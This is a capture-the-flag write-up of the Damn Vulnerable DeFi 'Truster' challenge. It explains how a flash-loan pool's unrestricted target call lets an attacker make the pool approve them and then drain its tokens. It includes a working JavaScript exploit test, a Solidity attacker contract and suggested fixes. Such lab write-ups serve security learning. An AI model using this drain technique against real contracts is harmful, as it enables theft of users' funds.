Truster
Statement
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don't worry, you might be able to take them all from the pool. In a single transaction.
Analysis
We need to steal all the DVT from the pool and send them to the attacker's address.
Understanding contracts
There is only one contract to analyze:
- TrusterLenderPool.sol: Contract which implements the logic of lending flash loans.
It has only one interesting function:
- flashLoan: Function that implements the lending logic.
1. function flashLoan(
2. uint256 borrowAmount,
3. address borrower,
4. address target,
5. bytes calldata data
6. )
7. external
8. nonReentrant
9. {
10 uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
11. require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
12.
13. damnValuableToken.transfer(borrower, borrowAmount);
14. target.functionCall(data);
15.
16. uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
17. require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
18. }
Some comments about this function:
- It has the nonReentrant modifier, thus is not possible to attack it with Reentrancy.
- Lines 10 and 11 ensures that the current DVT pool balance is enough to borrow the asked amount. Otherwise it reverts.
- Line 13th lends the borrowed money to the borrower.
- This is quite interesting. It calls a function (which function will depend on the data provided) from the "target" Smart Contract. The interesting thing here is that the caller uses both the target value and the data. In simple words, it fully controls the function of which Smart Contract is going to be called.
- Lines 16 and 17 ensure that the borrower paid back the loan.
So moving directly towards the interesting part: How can an attacker leverage the possibility of this arbitrary call? If we want to extract all the money from the pool, we should somehow be able to "bypass" the last check. Right? ...Sure? Well, not really. That check is actually not bypassable (as to my knowledge). Instead, we should do something that accomplishes the requirements ensured in line 16 and 17, but still allows us to steal the money.
I loved this challenge because it involved a bit more knowledge about the ERC20 standard. I'm not totally sure this is the real reason, but from my POV, because of how DeFi works (Uniswap/Pancakeswap routers) there was a need to implement some concept that would allow an extra entity to spend your money on your behalf. Despite the fact that, at first it could sound a bit weird, this concept is deeply used and very probably you already made use of it and you didn't know.
ERC20 standard, allows you to provide Allowance to spend your money by another entity. For example, I could state that I want Pancakeswap to have the allowance to spend my $LUNA tokens. This is what usually happens when using the DEX's Router. In order to do so, ERC20 exposes a function call approve. This function, receives the spender address and the amount which this spender is able to spend. As a side note, I don't recall the version, but at some point OZ included increaseAllowance() and decreaseAllowance() functions instead of approve() in order to tackle a dangerous race condition. If you wanted to decrease the approved amount to your spender, you could end up giving them even a bigger amount to spend. I think that the first answer in this forum explains it in a really short and easy way. Anyways, I just mentioned this because I read about it a couple of months ago, but it is not important for the sake of solving this challenge.
Going back to the allowance concept, what we could do is force the Truster Lender Pool to call the ERC20 (damn vulnerable token) contract and execute the approve() function and thus adding our address (or any other address that we want) the power to spend all their tokens. This won't modify the balance of DVT tokens the Trust Lender Pool has, and therefore the checks to ensure that the loan was repaid won't fail. Furthermore, there is no check for asking for a loan of 0 tokens, so we don't have to deal with that problem. In fact, I'm not completely sure about this, but I think this is a KEY part of the solution, because otherwise I'm not sure how we would have managed the part of returning the money. We would have had to do the arbitrary call to some controlled Smart Contract and therefore loose the power of calling a non-controlled one (like the DVT Contract in this case) with the Truster Lender Pool as msg.sender.
Enough with ideas, let's move forward to the solution..
Final solution
Raw Solution
My Javascript developing skills are really bad. My Solidity ones too. However, I invested a lot of time during 2021 understanding how ethereum worked, creating bots and blah, and therefore I knew how a transaction should be crafted. The first exploit I crafted to solve this challenge didn't make use of almost any HardHat feature but just got fun playing with bytes:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
function_arity = "approve(address,uint256)";
func_selector = Web3Utils.keccak256(function_arity).slice(0,10);
spender = attacker.address.slice(2).padStart(64, '0'); // Remove 0x
amount_to_approve = BigInt(TOKENS_IN_POOL).toString(16).padStart(64,'0');
data = func_selector + spender + amount_to_approve;
// Debug
console.log("Function Selector: " + func_selector);
console.log("Spender: " + spender);
console.log("Amount to approve: " + amount_to_approve);
console.log("Data to send: " + data);
// Check allowance before
allowance_before = await this.token.allowance(this.pool.address, attacker.address);
console.log("Allowance: " + allowance_before)
await this.pool.connect(attacker).flashLoan(0, attacker.address, this.token.address, data);
// Check allowance after
allowance_after = await this.token.allowance(this.pool.address, attacker.address);
console.log("Allowance: " + allowance_after)
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
});
The data object that we need to send is basically the payload that the DVT token Smart Contract will receive. Every time you execute a transaction against a Smart Contract where you call a function, you should provide inside the input field, the information of which function you're actually executing. This information is usually encoded. How? First, you must provide the Function Selector (not going to explain this but is simply a way to identify functions inside a Smart Contract). The function select is the first 4 bytes of the keccak256 hash of the function arity. You can find the function arity inside the ABI of the Contract. Following the function selector, all the parameters in hex padded to 64 bytes should be placed. Due to dealing with the approve() function that has two parameters (an address: the spender and a uint256: the amount), we needed to "encode" them and add this to our payload. Furthermore, it's important to recall the amount of decimals that the amount must have. This totally depends on the token. Usually it is 18 decimals but in some weird cases I came across tokens with 9 decimals. I could have extracted this from the DVT token contract itself, but it was faster to just hardcode the use of 18 decimals.
Once we have all that information together, we are ready to go. Just for the sake of clarity I added some logging to see the if the allowance increased after calling the flashLoan function. This call will ask for 0 tokens as loan, and will provide the attacker address (future spender), the token address (Smart Contract to be called inside the functionCall) and finally the data (payload of approve() function) that we want to execute. Once this call is finished, nothing will happen in terms of balances (the pool will still have their tokens and the attacker will still have 0 tokens). However, the attacker will be authorized to spend all the money from the Truster Lender Pool. So it's a matter of a executing a transferFrom from the attacker wallet, and sending all the funds to its own wallet.
Fancy and Tidy solution
A fancier, tidier and better solution is just executing the same thing from a Smart Contract. This allows the attacker to just execute one transaction and also to avoid them calculating the function selector, decimals, and blah (things that I like :P). I developed the following Smart Contract (yeah.. my Solidity developing skills also suck)
1. // SPDX-License-Identifier: MIT
2. pragma solidity ^0.8.0;
3. import "@openzeppelin/contracts/access/Ownable.sol";
4. import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5.
6. interface ITrusterLenderPool {
7. function flashLoan(uint256 amount, address borrower, address target, bytes calldata data) external;
8. function damnValuableToken() external returns (IERC20);
9. }
10. contract AttackerTruster is Ownable {
11. ITrusterLenderPool private pool;
12. IERC20 private damn_token;
13. constructor (address pool_address, address attacker_address){
14. pool = ITrusterLenderPool(pool_address);
15. damn_token = IERC20(pool.damnValuableToken());
16.
17. uint256 tokens_to_steal = damn_token.balanceOf(pool_address);
18. bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), tokens_to_steal);
19.
20 pool.flashLoan(0, address(this), address(damn_token), data);
21
22 bool success = damn_token.transferFrom(pool_address, attacker_address, tokens_to_steal);
23 require(success, "Something failed while trying to send the tokens to the attacker address");
24 }
25
}
In order to develop this solution I read a bit more about how to use the ABI interface, how to cast Interfaces in order to call their functions in a tidy way, etc.
Lines 14 and 15 just wrap the addresses of the pool and DVT token into their Interfaces objects. The 17 line gets the current DVT balance of the pool address. Line 18th performs all the encoding process explained in the previous chapter (approve() payload) (much easier, right? meehhhh). Line 20th executes the call to the flashLoan() function, this is where the magic happens. After executing it, this contract will be able to spend all the DVT tokens of the Truster Lender Pool. Finally, line 22 executes the transferFrom() function, sending all the money to the attacker's address.
In order to solve it, I stored the previous Smart Contract inside an "attackers-contracts" directory within the "contracts" directory and completed the following line inside truster.challenge.js:
it('Exploit', async function () {
const AttackerTruster = await ethers.getContractFactory('AttackerTruster', attacker);
await AttackerTruster.deploy(this.pool.address, attacker.address);
});
Fix
As part of my learning phase of Smart Contracts Security, I like to think how I could solve this issue. I would have done two things:
- Check that the borrowed amount is greater than 0.
- I'm not sure if I would lose some kind of feature here, but I would have restricted the call to the msg.sender() and not to a open, independent and arbitrary target.